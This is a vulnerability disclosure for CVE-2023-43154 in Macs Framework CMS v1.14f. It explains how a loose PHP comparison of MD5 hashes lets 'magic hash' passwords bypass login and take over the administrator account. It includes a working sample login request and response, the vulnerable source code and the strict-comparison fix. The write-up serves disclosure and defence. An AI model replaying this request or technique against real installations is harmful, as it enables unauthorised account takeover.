CVE-ID: CVE-2023-43154
CVSS 3.1: 9.8
Vulnerability Description: A loose comparison in the isValidLogin()
function results in a PHP type confusion
vulnerability that can be abused to bypass authentication and takeover the administrator account.
Vulnerable Parameters: The username and password of the users on the CMS.
Affected Products: Macs Framework v1.14f - Content Management System
Limitations:
- The username of the victim account must be previously known or a zero-like string
- The password used with the account must result in a "magic hash".
User Interaction Required: None
References: https://github.com/ally-petitt/CVE-2023-43154-PoC
Discovery Date: September 7, 2023
Reported By: Ally Petitt
Logging in at the URI /index.php/main/cms/login
with the username of the victim account and any
password that results in a magic hash will lead to authentication bypass.
A sample login is shown below.
POST /index.php/main/cms/login HTTP/1.1
Host: 172.17.0.2
Content-Length: 62
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://172.17.0.2
Referer: http://172.17.0.2/index.php/main/cms/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=di4ceqcv9432vcb0p27rkh7k82
Connection: close
ajaxRequest=true&&username=testadmin&password=0gdVIdSQL8Cm&scrollPosition=0
HTTP/1.1 200 OK
Date: Sat, 09 Sep 2023 02:01:26 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 72
Connection: close
Content-Type: text/html; charset=ISO-8859-1
<script>window.location.href="http://172.17.0.2/index.php/home"</script>
The status code of 200 and the redirect to /index.php/home
are both indications that the login attempt
was successful. The password of testadmin
was not the password used in the login attempt (0gdVIdSQL8Cm
).
Instead, it was set to QNKCDZO
.
When a user attempts to log in, their supplied password is hashed and and sent as a parameter to
the isValidLogin()
function via the initial login()
function that is called when a POST request
is made to /index.php/Main/CMS/login
.
public function login()
{
if($this->isValidLogin(Post::getByKey('username'), $this->encrypt(Post::getByKey('password')) ) || ( $this->isAdminLoggedIn() ))
--snip--
}
The isValidLogin()
function begins on line 83 of file /Application/plugins/CMS/controllers/CMS.php
.
It is vulnerable to a type confusion vulnerability due to its use of 2 equal signs instead of 3.
private function isValidLogin($username, $password)
{
$this->loadModels();
$loggedIn = false;
foreach (Config::$editInPlaceAdmins as $key=>$account)
{
if(( $account['username'] == $username) && ($account['password'] == $password ) )
{
$loggedIn = true;
Session::set('AdminLoggedIn', $account);
break;
}
}
As shown in the if
statement, the username and password are being checked with a loose comparison, leading
to a PHP type confusion vulnerability. This can be abused when logging in with a password that results in a
magic hash, or hash that is interpretted by PHP to have the value 0
during a loose comparison. A list of such
passwords can be found here.
To exploit this, it is important to first understand the format that $account['password']
is stored in.
In the function used to save a new user account on line 730 of the aforementioned CMS.php
file, it becomes
clear that the password is first passed through an encrypt
function before it is stored.
$password = $this->encrypt(Post::getByKey('password'));
$confirmPassword = $this->encrypt(Post::getByKey('confirmPassword'));
-- snip --
private function saveNewUser( $username, $password, $emailAddress, $roleId)
Continuing to the function that is called after the password is run through encrypt
, the following
code is used:
private function saveNewUser( $username, $password, $emailAddress, $roleId)
{
--snip--
$this->usersModel->insertUser($username, $password, $emailAddress, $roleId);
--snip--
}
Based on the code above, it is apparent that the "encrypted" password was placed directly into the
users
Model of the MVC framework. Finally, to exploit this vulnerability, it is necessary to understand
how the encrypt
function works as its output is being directly compared against the user input.
private function encrypt( $string )
{
return md5($string);
}
The encrypt function returns the MD5 hash of the string passed to it. This means that when the login()
function is called with the user-supplied credentials, the inputted password is hashed and compared against
the stored MD5 hash of the victim account.
The implication is that when using a password that results in a PHP collision, or magic hash, it will register as being equivilent when compared against a stored password that also follows the format of a magic hash. As a result, a very large number of passwords can be used to authenticate to and takeover the administrator account, even when the initial password is not previously known.
This vulnerability can be mitigated by changing the loose comparison in the isValidLogin()
function
to a strict comparison by replacing ==
with ===
.